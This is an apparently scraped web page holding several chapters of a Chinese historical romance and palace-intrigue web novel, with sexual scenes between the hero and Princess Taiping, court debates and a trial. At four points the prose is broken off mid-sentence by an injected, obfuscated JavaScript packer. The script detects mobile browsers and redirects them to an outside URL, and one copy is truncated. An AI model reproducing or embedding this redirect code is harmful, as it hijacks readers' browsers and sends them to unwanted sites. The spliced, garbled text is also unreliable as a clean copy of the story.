烛芯啪地爆出火花。太平忽然倾身靠近,葡萄甜香拂过他耳畔:“我瞧上的是你任右金吾卫中郎将时,单枪匹马追回户部失银的胆识;是你在曲江宴上被人敬酒,明明耳根通红还要挺直腰板说‘金吾卫从不逃席’的倔强——”她指尖划过他掌心因练剑生成的薄茧,“哪怕你是个寒门子弟,只要本宫看中了,自有办法让父皇母后点头。” 这番话砸进刘皓南耳中,化作滚烫的酸楚。他想起那个大雨滂沱的夜,杨排风浑身湿透地站在他对面,仰着被雨水糊住的脸说:“我不管你是辽国国师还是什么人,我只知道我心悦你。”而他那句“我们生活在不同世界”的推拒,此刻在太平灼灼的目光下碎成齑粉。 “傻子。”太平见他怔忡,忽然用银匙柄轻轻压住他的筷尖:“且慢——薛郎今日翻完那些门阀谱牒,可算出五姓七望里谁家嫁女最阔绰?”她趁他出神抽走筷子,自己夹起鱼脍蘸了酱醋,却悬在半空不送入口:“范阳卢氏嫁女备三百车嫁妆,可他们家族宴席上的鲈鱼脍,切得还没尚食局小宫女利落。”她突然将鱼脍递到他唇边,待他张口时又倏地收回,笑眼弯成新月。 刘皓南喉结微动,看着她将鱼脍从容送入口中。葡萄酿的甜香里,她忽然起身挪到他身侧茵褥,不等他反应已侧身坐进他怀里,双腿分开跨坐于他腰胯两侧——正是昔日他任金吾卫时惯有的骑马姿态。 刘皓南下意识扶住她的腰,隔着轻薄夏衣能触到温热的肌肤。太平却就势压得更近,膝头不轻不重抵着他紧绷的小腹:“那些老顽固今日又递折子弹劾你?说什么驸马禁足期间私会狄仁杰……”绣鞋尖有意无意蹭过他腿侧,“可惜他们不知,狄寺丞是来讨教剑法的——就像现在,本宫也是在‘审问’金吾卫旧将呢。” 发间步摇穗子扫过他下颌:“说起来,刑部那几个老古板……”她突然用唇碰了碰他耳垂,“联名上书要求严查金吾卫旧部,薛郎可知他们背后站着谁?” 他被这突如其来的触碰激得后仰,后颈却抵上她早已候着的掌心。“公主……”话音未落,她已咬着他耳骨低笑:“叫太平。”指尖扯开他腰间青锦带,玉扣滚落茵褥时发出清脆声响,“那些折子,早被母后压下了——就像现在,本宫压着你一般。” 这亲昵的撩拨让他心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185088|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一软。他收拢手臂将人圈紧,低头在她发间落下一个轻吻。太平“唔”了一声仰起脸,眼中有烛光跃动。刘皓南会意,轻吻她眉心,顺着鼻梁而下,最终含住那两片柔软的唇。 这个吻很浅,带着葡萄酿的甜和晚风的凉。太平在他唇间含糊地笑,伸手环住他脖颈回应。刘皓南的手掌在她背上轻抚,隔着衣料能触到蝴蝶骨的轮廓——是抚慰,是珍惜,是穿越时空阻隔后终于能拥住心上人的庆幸。 洗漱后躺进锦帐,太平像尾鱼般滑进他怀里。手指在他中衣系带间穿梭:“薛绍,”她突然咬他喉结,“你白日是不是偷用我的青盐漱口?”得到否认后轻笑,“那怎么满嘴都是我说不过的歪理?” 更漏声里,她忽然撑起身子,长发帘幕般笼住两人:“五姓七望那些人……当真敢谋害帝女?” 刘皓南凝视着黑暗中她晶亮的眸子,想起史书所载:东汉党锢之祸、魏晋门阀倾轧,乃至本朝永徽年间长孙无忌构陷吴王李恪……士族对皇权的蚕食从来血雨腥风。可怀中人是大唐最尊贵的帝女,是泡在蜜糖权势里长大的金枝玉叶,她理所当然地认为“无人敢犯”。 “自然不敢。”他最终将人按回胸膛,在她额上落下一记安抚的吻,“有我在。” 太平似乎被这句话取悦,在他怀里蹭了个更舒服的姿势。静默片刻,她忽然仰脸:“对了,过几日是你生辰。二十六虽非整寿,也该热闹一番——你可有想要的?” 刘皓南怔了怔。幻境中薛绍确实年轻,可他自己的生辰早已在漫长国师生涯中模糊。他看着太平亮晶晶的眼,心头一软:“我只要你平安喜乐,日日如今朝。” 这本是句情话,太平却耳尖绯红,啐道“不正经”,将脸更深地埋进他胸膛。 夜色渐深,烛火被宫人剪暗。刘皓南闭眼假寐,却清晰感知怀中人的每一丝动静——她无意识地在他怀里轻蹭,发丝扫过他下颌;接着一条腿不老实地往上移,膝盖顶在他腿侧;片刻后,那只揪着他衣襟的手松开,在睡梦中摸索,最终准确探进他中衣前襟,掌心贴住他心口。 刘皓南无奈睁眼。借帐外残烛微光,他看见太平睡得正熟,长睫在眼下投下阴影,唇微微嘟着,全然不知这动作有多撩人。他小心地将她的手拿出,她却不满地哼唧,整个人贴得更紧,腿也缠得更牢。 “真是……”他低声叹息,终是放弃挣扎。他将人整个圈进怀里,让她枕着自己手臂,另一只手轻拍她的背,像哄孩童入睡。太平似是找到舒适位置,不再乱动,呼吸渐趋平稳。 三更梆响时,太平蜷在他怀中酣睡,膝头却仍霸道地压着他小腿。刘皓南在黑暗中凝视怀中人的睡颜,想起白日那些错综复杂的门阀谱牒,想起狄仁杰袖中那柄淬毒断刃,想起大明宫那对俯瞰众生的帝王夫妻。 可此刻,他怀里的这个人,只是他的太平。 他低头,极轻地吻了吻她的发顶,合上了眼。 61. 谜局 辰时正刻,紫宸殿内铜漏滴答。刑部尚书裴炎率先出列,象牙笏板在晨光中划出冷厉弧线:"臣弹劾驸马都尉薛绍三大罪:其一,当街擅杀二十七人,远超《狱官令》''拘捕格杀不过三''之限;其二,尸体验出吐蕃锻铁纹,竟隐匿不报!"他突将笏板转向狄仁杰,"更可疑者——大理寺昨夜急焚三页验尸格目,莫非狄寺丞要与驸马共同欺君?" 御史台队列里立刻有人高呼:"裴尚书所言极是!驸马分明是杀人灭口!" 礼部尚书武承嗣疾步出班,金蝉冠穗剧烈摇晃:"裴尚书岂不闻''两国交兵,不斩来使''?若坐实吐蕃死士潜入长安,吐蕃赞普岂肯干休!"他忽然朝御座深深一揖,"陛下,天后,礼部愿接管此案,以''商队械斗''结案,赠吐蕃百车丝绸便可平息干戈。" 户部侍郎低声讥讽:"武尚书又要拿国库丝绸做人情了?" 兵部尚书李敬玄冷笑一声,战靴踏地铿然:"吐蕃正在洮州掠我边民,尔等却在此谈论丝绸赔礼?"他猛然展开军报,"昨夜八百里加急:吐蕃骑兵伪装马匪劫杀汉商!驸马所诛贼人既用吐蕃兵刃,正当以军功论赏!"鎏金铠甲与裴炎的紫袍几乎相擦,"刑部若去过陇右战场,便知对豺狼唯有利刃可说话!" 武将队列传来铠甲碰撞声,十余名将领齐齐踏前半步。 左金吾卫大将军程务挺突然扯开衣襟,露出心口箭疮:"臣麾下三十六儿郎护驾殉国,尸身尚停在大慈恩寺!"他血丝密布的双眼怒视裴炎,"刑部要定驸马''擅杀''罪,先问过金吾卫横刀答不答应!"右金吾卫中郎将哽咽补充:"死者张五郎昨日刚得麟儿……那孩子连父亲的面都未见着啊!" 悲愤之气席卷殿堂,连执戟武士都红了眼眶。 狄仁杰在众目睽睽中捧出铜匣:"格目焚毁是因发现此物——"匣中突厥狼头符与吐蕃腰牌紧贴,"刺客乃三方勾结!臣已查实狼头符属突厥左厢阿史德部,此部正与吐蕃密使在凉州接触。"他朝御座躬身,"若按刑部所言速结案,真凶逍遥;若依礼部退让,国威尽失。臣请三司会审,并遣使责问吐蕃赞普!" 满殿死寂时,帘后忽然传来武后清冷声线:"程将军,金吾卫伤亡儿郎的抚恤翻倍。" 李治指尖轻敲御案,目光扫过裴炎:"刑部既要''请''驸马协助调查,便依《狱官令》''凡涉皇亲,须奏请得旨''——着大理寺派员''陪同''刑部问话,一应记录直送两仪殿。"他忽然拿起突厥狼头符在掌心把玩,"至于这阿史德部……去年他们可汗献马时,还求朕赐《论语》教化子弟。" 武后凤纹袖幅掠过案上吐蕃腰牌:"陛下既知突厥有异动,不如让鸿胪寺查查太学里的阿史德部质子近日与何人交往过密。"她眼尾扫向狄仁杰,"狄卿既知三方勾结,该明白斩草需除根的道理。" 李治颔首时冕旒纹丝不动:"传旨:刑部主查凶器流转,兵部协查边境异动,金吾卫加强宫禁巡防——至于驸马,"他忽然轻笑,"既在禁足期,朕便派一队千牛卫''保护''公主府,免得刑部侍郎奔波。" 裴炎脸色骤变——千牛卫直隶天子,此举分明是阻断刑部接触驸马之路。 退朝钟响时,狄仁杰独立汉白玉阶,见武承嗣与裴炎在转角暗处低语。他摩挲袖中密报残页,想起刘皓南昨夜警示:"猎犬相争时,别忘了握紧牵绳的始终是二圣。" 当夜两仪殿烛火通明,李治将狼头符掷入炭盆,火星溅上衣袖:“长孙家……朕的好舅舅!当年他们能用‘谋反’的罪名构陷吴王恪,今日就敢用吐蕃死士来试探朕的底线。真当朕忘了永徽年间,是谁在朝堂上一言九鼎?” 武后拨弄着波斯进贡的水精算筹,算珠相击声如碎冰:“陛下息怒。长孙无忌虽已不在,关陇门阀的根基却仍在。裴炎今日跳出来,不过是替他们发声探路。” “探路?”李治凝视跳动的火焰,眼底映出少年时被元舅阴影笼罩的岁月,“他们忘了,朕这个天子,是长孙家‘扶’起来的。既然能扶起朕……”他声音骤冷,如檐外突啼的惊鹊划破夜空,“自然也能想着换个人来坐这龙椅。” 武后凤眸微抬,水精算筹的冷光映过她唇角:“陛下今日借刑部敲山震虎,又派千牛卫明护暗监,已是绝妙。接下来,该让五姓七望明白,如今执掌牵绳的,不再是赵国公府,而是两仪殿了。” 李治颔首,冕旒的玉珠在额前投下细碎阴影,如盘根错节的权谋网络:“那就让猎犬们继续撕咬吧。传信狄仁杰,朕准他三司会审——倒要看看,这‘吐蕃死士’的线索,最后会咬出哪条潜龙。” 临湖琉璃亭中,八扇螺钿屏风围出暖阁,西域茵毯上设紫檀食案十二张。鎏金舞马衔杯纹银壶盛着冰镇葡萄酿,琉璃高足杯沿凝着水珠,与青瓷莲瓣碗交映生辉。身形已显少年抽条轮廓的刘朔穿着杏黄童子袍,指尖无意识叩击案面的节奏竟隐含《破阵乐》韵律——在刘皓南眼中,这分明是十五岁武将的骨相,唯有太平仍笑吟吟将他当作六岁稚童,轻拍他后颈道:"阿简,给你阿爷献寿桃来!" 孩子捧起银碟时,脊背下意识挺得笔直,献桃的姿态如献捷般庄重。刘皓南接过寿桃时,触到儿子掌心硬茧——那是十二岁起随自己征战辽夏留下的剑茧。他垂眸见酒液微漾,杯中倒影里少年眉目凛冽,竟是现实中刘朔在雁门关外执枪策马的英姿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185089|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "如此良辰如此夜——"太平执壶斟酒时,指尖若有似无擦过他手背,"薛郎可否陪本宫去观星台赏玩?"她袖中金针不慎刺破指尖,血珠坠入琥珀酒液却浑若未觉,"总强过在此看这些呆雁似的舞姬。" 子夜观星台上,汉玉阑干浸着星河清辉。太平解下藕色纱帔铺在石阶,仰首时发间步摇掠过刘皓南下颌:"幕天席地,星光低垂——薛郎可还记得清明望楼那夜,欠本宫一个尽兴?" 刘皓南猛然将她压向阑干,膝头抵开她汗湿的腿根时,听见她抽气声混着低笑。清明夜望楼中未尽的纠缠化作星台疾雨,石榴裙绛纱缠住栏杆螭纹,金粟珠步摇坠地迸碎如星陨。"殿下今夜话多,"他指尖挑开她腰间杏子金缕绦——此刻松垮悬于公主裙侧 太平仰首承受时,肩头纱衣滑落半幅,露出石榴红主腰上缠绕的彩绣丝绦。她忽抽冷气,原是腰肢撞上阑干雕螭的锐角:"二十六岁的薛郎…今夜倒似新婚时那般不知轻重……"更漏声里,她踝间金链勾落他腰间鱼符,零落玉珠随台阶滚入暗夜。 三更梆响时,刘皓南用外袍裹住太平横抱而下。她簪发的玉鸾钗不知何时斜插在他领口,两人纠缠的衣带扫过台阶,留下半幅撕破的石榴裙纱。值夜侍女低头见青石砖上金粟珠混着掐碎的玉露团,东厢房早已烛火俱寂——刘朔宴毕即依制安寝,窗纱上唯余空庭竹影。 "阿简今日说想习金吾卫横刀术,"太平蜷在鲛绡帐中把玩他散开发丝,指尖抚过他心口箭创时忽凝滞,"这伤痕走向,倒与去岁秋猎你为我挡的狼齿伤一模一样……"她忽轻笑,"可惜狼齿岂能留下这般规整的箭簇痕?" 刘皓南握住她游移的指尖,窗外夜枭啼鸣骤急。她忽然侧耳倾听:"可是阿简梦魇?怎地东厢似有兵器相击之声——"话音未落,他已俯身封住她的唇。锦帐金钩摇曳间,檐下金吾卫巡夜的金柝声渐远,恰掩过少年梦中无意识的磨牙声。 晨光染窗时,太平蜷在刘皓南怀中酣睡,腮边犹带云雨后的胭脂色。刘皓南凝视她松脱的寝衣下露出肩头新月疤——那是去岁秋猎真实存在的狼齿伤,与心口那道辽国箭创交错如谜题。 他想起狄仁杰密信中那句"北斗炼形符噬主"的箴言,又望向东厢紧闭的菱花窗。现实里十五岁的刘朔身为武曲转世,此刻本应在江湖历练,却被幻境囚作六岁稚童;而怀中熟睡的太平,更不知皮囊下藏着多少被篡改的记忆。 值夜侍女轻手轻脚拾阶而上,将破碎的金粟珠与零落玉饰扫入鎏金唾壶。一缕晓风穿帘而过,拂动案上残酒,杯中倒影里忽现契丹雪原上的孤狼——那是二十六岁的刘皓南在真实时空推演天门阵的残象。 62. 三司会审 辰时正刻,大理寺正堂青铜獬豸像下香烟缭绕。刑部尚书裴炎端坐主位紫檀案,左侧侍御史李义琛指尖轻叩谏纸边缘,右侧大理寺少卿张文瓘垂目敛袖——依《唐六典》规制,从六品大理寺丞狄仁杰仅能执笔录卷,主审权由正三品刑部尚书与从五品侍御史共执。八名刑吏手持包铜水火棍雁列两旁,青砖地面积水反光,映出"明刑弼教"匾额的冷冽倒影。 "传证人薛绍!"裴炎象牙笏板击案声惊起梁间栖鸦。刘皓南身着月白襕衫踏入堂内,腰间银鱼符昭示驸马都尉身份,刑吏引其立于特设紫檀木证人台——此乃三司会审"勋贵证位",距主案七步,高于囚笼三尺。 侍御史李义琛展卷:"景云二年三月廿一,安兴街刺杀案计二十七具尸首,其三验出吐蕃锻铁纹。薛驸马当场格杀所有刺客,可曾查验身份?" 刘皓南拱手:"刺客皆覆铜面具,臣护驾心切,未及细辨。" "未及细辨?"裴炎突以笏尖指尸格图,"为何独吐蕃死士喉间皆现新月形刀口——恰似驸马任金吾卫时善用的''破云斩''?"话音未落,堂外忽传金吾卫鸣鞭,三十六名公主府卫队鱼贯而入。太平公主着丹朱色蹙金鸾纹礼服疾步而来,九翟冠珠珞撞击如冰裂:"裴尚书好大阵仗!莫非要将我公主府的人当堂刑讯?" 李义琛急命仵作呈物:三具吐蕃武士尸身旁陈鎏金牦牛符、布达拉宫金箔咒文。裴炎冷笑:"此乃吐蕃''噶尔家族''信物——彼族赞普虽已病逝,其旧部仍活跃边陲。驸马作何解释?" 太平公主夺过尸格册掷地:"裴氏与长孙家联姻三世,自然识得这些把戏!"她指尖掠过尸身耳廓,"耳后''北斗炼形符''的青黥技法,分明是长孙家奴刺青特用的针法!"狄仁杰适时捧出铜匣:"臣复验得新证——"匣中突厥弯刀与长孙部曲铜牌并列,"刺客虽用吐蕃弧刀,但刀柄缠革乃长孙家陇西马场特有的野牛皮。" 裴炎面色骤沉:"狄寺丞岂不知伪造证物当杖一百?" "侍御史慎言。"太平公主指尖轻点空悬的镣铐,"此案由主上(注:唐代二圣时期对皇帝的称谓)亲批三司会审,裴尚书今日是要越权行事?" 金吾卫队正赵参军胸缠染血绷带上堂:"末将率队赶到时,驸马已手刃七人。那些''吐蕃刺客''撤退时摆的''双雁掠沙阵'',分明是长孙家私兵操典所载!"他猛然扯开衣襟,露出心口箭创,"这三棱箭镞——正是兵部弩司登记在册的制式破甲锥!" 裴炎突拍惊堂木:"赵参军去岁核验弓弩档案时,曾因''损耗有差''被兵部记过,可是挟怨诬告?" 不待应答,安兴街老贩王五战战兢兢呈上血衣:"那夜小老儿躲在水渠,听见蒙面人吼的是幽州土话''风紧扯呼''!"他指向尸堆中青衣汉子,"那人临死前掏符咒时,掉出长孙家粮号的米票!" 鸿胪寺译语人抖开黄纸:"''天地玄黄''四字被五倍子水蚀成密咒纹样——此乃长孙家书坊秘传的隐写术!" 裴炎突然抽出行刑签:"薛绍!你任兵部弩司主事,当知私蓄弓弩乃十恶重罪。此案是否与你稽查世家军械有关?"签筒倾覆时厉喝,"用拶指!" 刑吏刚持刑具逼近,太平公主突然掀翻证物案。九翟冠东珠撞碎在獬豸像上,她指尖直指裴炎:"裴尚书可记得永徽三年旧事?长孙无忌被逼自尽时,刑部堂上也有这么一套拶指!" 裴炎冷笑拂袖:"殿下今日闯堂,倒让臣想起显庆元年韦妃被废之典——金枝玉叶触犯国法,亦当依律究办!"他目光扫过堂外金吾卫,"殿下带甲士冲撞法堂,按《唐律》当夺封减邑!" 满堂死寂时,狄仁杰忽呈血书:"臣昨夜突审长孙家管家,得此供状。"绢帛展开,赫然是刑部侍郎与长孙家往来密信。太平公主拾起行刑签,插进裴炎冠缨:"本宫这就进宫面圣——倒要看看,是刑部的拶指硬,还是丽景门死牢的烙铁硬!" 退堂钟响时,刘皓南扶住太平微颤的手。她低声冷笑:"裴炎敢用''夺封减邑''要挟,分明是得了母后默许......"廊角阴影里,狄仁杰正将调包的真吐蕃腰牌塞进袖中——那腰牌边缘确凿刻着"噶尔家族"徽记,却沾染了长孙家特用的苏合香。 月色浸透大理寺阶前血渍时,刘皓南想起昨日兵部档案库新发现的弓□□——那上面赫然盖着刑部核准的烙印。而此刻的太平浑然不知,她为护驸马掀翻的证物案,已撞破了一场涉及三省六部的巨大阴谋。窗外夜枭啼鸣骤急,仿佛预告着明日朝会上即将掀起的腥风血雨。 三更梆响,公主府寝殿内烛火摇曳。太平公主解下九翟冠重重掷于案上,珠珞撞击如冰裂:"刑部今日敢当堂动拶指,明日就敢效法索元礼炼狱!薛绍,你若成了侯思止案下冤魂,我这公主封号还有何意趣?"刘皓南沉默地替她卸去蹙金鸾纹礼服,指尖触到她中衣后背的冷汗——那紧绷的脊背线条,竟与现实中杨排风在卢善衡府中替他挡箭时的姿态重合。 他忽然将人揽入怀中,下颌轻抵她未拆的博鬓:"臣任金吾卫郎将时,核验过太多''依制行事''的冤案。但殿下今日闯堂,恰似当年幽州都督破突厥围城——险中求胜,却后患无穷。"太平猛然抬头,赤金步摇勾散他的发簪:"后患?长孙家连死士都能扮作吐蕃使团,下次是不是要扮作契丹商队夜袭公主府?"她突然咬住他肩头,齿痕深陷锦缎,"薛绍,我宁可学祖母长孙皇后亲手浣衣,也不愿看你成刑堂冤鬼!" 窗外夏虫鸣噪,月光透窗而过。太平在烛光中凝视他眉眼,恍惚见宋境山洞外那夜——也是这样的月夜,杨排风立在暴雨中,仰脸时雨水与泪水交织:"刘皓南,我跟你回辽国。"而此刻,她指尖抚过他颈侧疤痕,那是去岁秋猎被狼齿所伤“阿娘总说我像她,"她忽然轻笑,"可她当年能因弘哥哥为萧淑妃二女求情之事,将义阳公主配给低阶侍卫——对着亲生骨肉尚如此,我却连看你受刑都做不到。" 刘皓南突然打横抱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185090|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她踏过满地狼藉,将人轻置鲛绡帐中。他取下她发间最后一支金簪,青丝如瀑泻满枕席:"殿下可记得《西域记》载天竺''镜像术''?施术者能令人看见心中最惧之景。"他指尖划过她锁骨下新月疤,"今日堂上吐蕃死士耳后刺青,恰似镜像术的符纹——有人要让我们在幻境中自相残杀。" 太平瞳孔骤缩,忽然扯开他襟口,唇瓣压上心口箭伤。这个吻不带情欲,倒似沙场同袍查验伤口时的触碰:"所以狄仁杰验尸格目里的''北斗炼形符''……"她呼吸骤急,"是有人用巫术篡改尸身证据?"话音未落,忽被刘皓南以唇封缄。他吻得极轻,却带着佛经诵念般的韵律,直至她颤抖渐止。 "睡吧。"他扯过锦被裹住她,哼起一支并州童谣。那是现实中杨排风重伤高烧时,他守在军帐外听当地医婆哼唱的调子。待太平呼吸匀长,刘皓南整衣踏出寝殿。值夜侍女见他玉冠严整,唯有腰间银鱼符在月光下泛冷——像极了他任河东府折冲都尉时悬于铠甲的兵符。 寅时烛泪堆满书案,刘皓南执笔如握剑。请罪折上墨迹淋漓,字字皆兵部弩司主事的恭谨:"公主闯堂,实因臣未能避嫌退让。若斩臣首可平物议,乞付刑堂。"而密折则用楷书杂以突厥注音符号写就,狼毫尖蘸墨勾出府兵改制图——昔年并州军镇胡汉混编之制,恰可解关陇集团与山东士族之争。折尾忽添数行飞白:"老牌世家私蓄弩机,恐效突厥阿史德部旧事。臣请以弩司档案为饵,诱其自现原形。" 窗外忽闻铜钥转动声,一名小黄门悄无声息滑入门缝,将半枚鱼符搁在案角:"狄寺丞让奴婢传话——公主扯断的拶指,已换成泡软的毛竹。"他指尖轻点鱼符上天后私印,"明日朝会,驸马须作足惶恐之态。" 同一时刻,大明宫烛影摇红。李治把玩着断裂的拶指轻笑:"太平这性子,倒似你当年抱着安定闯玄武门。"武后突然掐灭香篆,金护甲划过奏折上"薛绍"二字:"陛下莫忘了,太平的食封是因揭发长孙家暗桩得来,不是靠儿女情长!"她指尖点向弩司密报,"薛绍若真聪慧,就该查出终南山道观里藏的弩机刻着谁家徽记!" 忽有女官屏息呈上公主府密信。李治阅毕大笑,将纸笺投入炭盆:"好个薛卿!竟建议朕将计就计,把''吐蕃锻铁''炼成北伐突厥的军械。"武后霍然起身,九鸾钗撞碎玉屏风——却见火光中浮现长子李弘当年为萧淑妃女求情时苍白的脸。她忽然放柔声线:"当年义阳公主下嫁侍卫时,陛下也说朕心狠……可若非如此,太平今日哪敢带兵闯三司会审?" 五更鼓歇时,刘皓南将火漆封存的奏折交予公主府卫队。重返寝殿见太平在梦中蜷成团,掌心紧攥他遗落的银鱼符。他轻轻剥出符牌,却见她颈间露出一线红绳——绳上系着并州常见的护心玉,正是现实中他出征前杨排风亲手所赠。窗外曙光微现,夜风送来更夫沙哑的报晓声,混着狄仁杰安插在公主府暗桩的叩窗节奏——三长两短,正是"北门四军已换防"的暗号。 63. 下狱 辰时正刻,大明宫紫宸殿青铜鹤衔莲灯次第燃亮。李治头戴翼善冠,身着赤黄色常服袍端坐九金龙椅——依贞观八年定制,朔望常朝皇帝冠服皆循此制;武后凤纹翟衣曳地,于御座东侧紫檀屏风后设榻,屏面金丝绣百鸟朝凤图恰遮住她半幅身影,正是“二圣临朝”定制。丹陛之下,太子李贤与英王李显分列百官之首,三品以上朱紫公卿手执象牙笏板雁列玉阶,殿角铜漏滴答声与御史台巡殿的靴响交织成压抑的节奏。 刑部尚书裴炎突举笏出班,笏板尖端直指御前:“臣弹劾太平公主三罪!”声如裂帛惊起梁间栖雀,“其一,擅调公主府卫队冲撞三司会审;其二,毁损刑部证物獬豸像;其三——”他猛然转身目视刘皓南,“纵容驸马薛绍当街格杀二十七人,其中三人验为吐蕃使团成员,致使赞普遣使问罪! 礼部尚书武承嗣应声出列,金蝉冠穗急颤:“三名吐蕃死者身怀布达拉宫金牒,乃赞普亲卫!我朝与吐蕃方续盟,岂可因驸马妄动干戈?”话音未落,兵部尚书李敬玄战靴踏地铿然:“吐蕃正于洮州掠我边民!依《唐律·卫禁》,持械近皇族车驾者皆可视同谋逆!”他鎏金明光铠反射烛光,直刺武承嗣双目,“我大唐兵锋所向,是让人怕的,不是要去怕别人的!” 金吾卫大将军程务挺踏前一步,甲胄撞击声如冰河迸裂:“裴尚书可要验验金吾卫停尸院?三十六儿郎护驾殉国,尸身尚存毒矢贯穿伤——彼辈刺客袖藏吐蕃特制三棱箭时,可曾想过‘邦交’二字?”他血丝密布的双目怒视武承嗣,“礼部要论盟约,先问过横刀下殉国的亡魂答不答应!” 刚刚自陇右道班师回朝的云麾将军李谨行突然踏碎殿中金砖,玄甲肩吞兽犹带沙尘:“洮州道上吐蕃骑兵假扮商队,月内劫杀我朝使团七次!这断箭箭镞刻着长孙家工坊冷锻纹,箭杆却缠吐蕃牦牛筋——分明是贼人嫁祸之计!” 御史台侍御史赵谦阴恻恻插言:“驸马当街布星衍遁甲术,百姓皆见北斗七星映白日——此等诡谲之术,岂是河东薛氏祖训?”屏风后忽传茶盏轻叩声,武后指尖掠过屏风金丝:“袁天罡乃先帝钦赐‘护国真人’,赵御史莫非要论定《道藏》为妖书?”李治翼善冠金饰微动:“朕读《道德经》三十年,竟不知老子五千言成了邪说?” 太子李贤急步出班:“太平年方廿三,见驸马受刑难免情急。”他转身向御座躬身,“儿臣愿以太子金印担保,太平绝无藐视国法之心。”英王李显紧随其后:“臣弟犹记去岁吐蕃使臣宴间失仪,太平尚以《周礼》规劝——昨日实属护夫心切!” 老牌士族代表、荥阳郑氏家主郑仁恺颤巍巍出列:“永徽三年,有县主鞭笞百姓尚被削爵……若因‘年少无知’便可践踏《唐律疏议》,何不废三司改设公主府刑堂?”大理寺卿张文瓘突然轻笑:“郑公可知昨日三司会审时,刑部动了浸油的拶指?公主若迟来半刻,驸马右手经脉尽断矣。” 刘皓南突解银鱼符掷地,玉叩声镇住满殿喧哗:“臣认‘闺门不肃’之罪。然‘擅杀’罪名——”他目光扫过群臣,“请陛下准臣与吐蕃使节当庭对质!若证三名吐蕃死者所携兵刃淬毒,按《唐律·贼盗律》当视同谋逆!”狄仁杰悄无声息呈上尸格图,图中吐蕃死者耳后“北斗炼形符”与长孙家暗桩刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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狱卒脚步声渐近时,太平突然扯散自己鬓发,抓起茶盏掷地迸裂:“薛绍!你若敢学那些冤狱忠臣,本宫现在就求阿爷废为庶人!”她转身冲出牢门,九翟冠珠珞在廊下划出决绝的弧光。 64. 不堪的画,死斗,中毒 大理寺待审厢房,亥时。 青砖地面不知何处渗水,积了薄薄一层,倒映着墙角唯一一盏气死风灯摇曳昏黄的光影,将室内切割得明暗不定,更添阴森。刘皓南身着素色囚服(虽称囚服,质地却比寻常官吏常服更佳),腕上并未戴沉重镣铐,只以一条小指粗细、打磨光滑的银链,一端扣在他左腕,另一端系牢在房中唯一的紫檀木长案精铁桌脚上——此乃《唐六典》明文所载,对待三品以上勋贵、宗亲涉案待审时的定制,既示拘束,亦存体面,更是一种无声的提醒与折辱。 狄仁杰推门而入,身上仍是那身浆洗得微微发硬的素色麻布公服,肩头与袖口带着夜行沾上的寒露湿痕。他反手阖门,步履无声,行至案前。目光先落在摊开于案上、墨迹犹新的弩机改良图纸,指尖掠过图纸上特意标注的“望山”(瞄准具)新刻度,声音平淡无波: “驸马这三道新增的虚标刻线,初看是为增望远射程,然则依抛物力道与箭矢重心推算,箭头在百步之外,必因此虚标引导而较旧式早一息下坠。于固定靶或无妨,若对阵疾驰骑射,此一息之差,足以令敌遁走,或……反伤己方弓手。” 他顿了顿,自袖中取出一卷以火漆封口的薄册,置于图纸旁,“弩机事小,暂且按下。三日内,长安城内接连失踪七位官家女子。万年、长安两县束手,方才案卷转至大理寺。” 他抬起眼,目光如古井无波,却带着穿透性的力量:“现场勘查,皆留有燃尽的紫色线香灰烬,以及被某种重物击碎、散落各处的玉佩残片——碎玉纹样,经辨认,与去岁上巳节,太平公主于曲江设宴赏花,赠予与会女眷的佩饰,制式、玉料、乃至瑕疵印记,一般无二。更蹊跷的是……” 他指尖在案卷某行字上轻轻一点,“这七位女子,无论家门高低,皆曾于去岁,收到过公主府发出的赏花宴请帖。请帖样式特殊,以金粉勾边,鸢尾花为记,市面上绝无流通。” 刘皓南神色不动,仿佛未闻,只以指尖炭笔,在摊开的另一张弩机核心机括结构图上,于簧片与悬刀(扳机)连接处,点出数道极其细微、需凑近细辨方能看清的螺旋状锻造纹路。 “河东薛氏秘传‘蟒绞钢’冷锻技法,成纹如此。欲仿其形易,欲得其韧,需以三年陈醋为淬液,反复淬炼九次,每次火候、浸入时长、乃至醋温,差之毫厘,前功尽弃。” 他声音平稳,似在讲授技艺,“裴尚书(裴炎,刑部尚书)门下网罗的能工巧匠,若只按图索骥,见此螺旋纹,必误判此弩机核心构件强度大增,盲目增配强弦,届时激发,非但弩机崩毁,操弩者亦难幸免。” 窗外夜色浓重,忽闻鹧鸪啼鸣,一声,两声, 